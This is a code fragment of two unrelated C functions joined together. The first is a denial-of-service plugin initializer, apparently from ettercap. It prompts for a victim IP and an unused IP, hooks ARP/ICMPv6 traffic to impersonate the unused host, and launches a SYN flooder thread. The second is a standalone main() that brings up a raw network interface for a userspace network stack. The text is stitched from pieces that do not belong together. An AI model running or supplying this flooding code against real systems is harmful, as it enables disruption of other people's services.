static int dos_attack_init(void *dummy) { char dos_addr[MAX_ASCII_ADDR_LEN]; char unused_addr[MAX_ASCII_ADDR_LEN]; struct port_list *p; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; memset(dos_addr, 0, sizeof(dos_addr)); memset(unused_addr, 0, sizeof(dos_addr)); ui_input("Insert victim IP: ", dos_addr, sizeof(dos_addr), NULL); if (ip_addr_pton(dos_addr, &victim_host) == -EINVALID) { INSTANT_USER_MSG("dos_attack: Invalid IP address.\n"); return PLUGIN_FINISHED; } ui_input("Insert unused IP: ", unused_addr, sizeof(unused_addr), NULL); if (ip_addr_pton(unused_addr, &fake_host) == -EINVALID) { INSTANT_USER_MSG("dos_attack: Invalid IP address.\n"); return PLUGIN_FINISHED; } if(victim_host.addr_type != fake_host.addr_type) { INSTANT_USER_MSG("dos_attack: Address' families don't match.\n"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("dos_attack: Starting scan against %s [Fake Host: %s]\n", dos_addr, unused_addr); /* Delete the "open" port list just in case of previous executions */ while (!SLIST_EMPTY(&port_table)) { p = SLIST_FIRST(&port_table); SLIST_REMOVE_HEAD(&port_table, next); SAFE_FREE(p); } /* Add the hook to "create" the fake host */ if(ntohs(fake_host.addr_type) == AF_INET) hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); #ifdef WITH_IPV6 else if(ntohs(fake_host.addr_type) == AF_INET6) hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6); #endif /* Add the hook for SYN-ACK reply */ hook_add(HOOK_PACKET_TCP, &parse_tcp); /* create the flooding thread */ ec_thread_new("golem", "SYN flooder thread", &syn_flooder, NULL); return PLUGIN_RUNNING; }
int main (int argc, char *argv[]) { char *ifname, *hwaddr = NULL, *ipaddr; sigset_t sigset; int signo; struct netdev *dev; struct netif_ip iface = {}; switch (argc) { case 4: hwaddr = argv[2]; /* fall through */ case 3: ipaddr = argv[argc-1]; ifname = argv[1]; break; default: fprintf(stderr, "usage: %s interface [mac_address] ip_address\n", argv[0]); return -1; } sigemptyset(&sigset); sigaddset(&sigset, SIGINT); sigprocmask(SIG_BLOCK, &sigset, NULL); setup(); dev = netdev_alloc(NETDEV_TYPE_ETHERNET); if (!dev) { return -1; } strncpy(dev->name, ifname, sizeof(dev->name) -1); if (hwaddr) { ethernet_addr_pton(hwaddr, (ethernet_addr_t *)dev->addr); } if (dev->ops->open(dev, RAWDEV_TYPE_AUTO) == -1) { return -1; } iface.netif.family = NETIF_FAMILY_IPV4; ip_addr_pton(ipaddr, &iface.unicast); netdev_add_netif(dev, (struct netif *)&iface); dev->ops->run(dev); while (1) { sigwait(&sigset, &signo); if (signo == SIGINT) { break; } } dev->ops->close(dev); return 0; }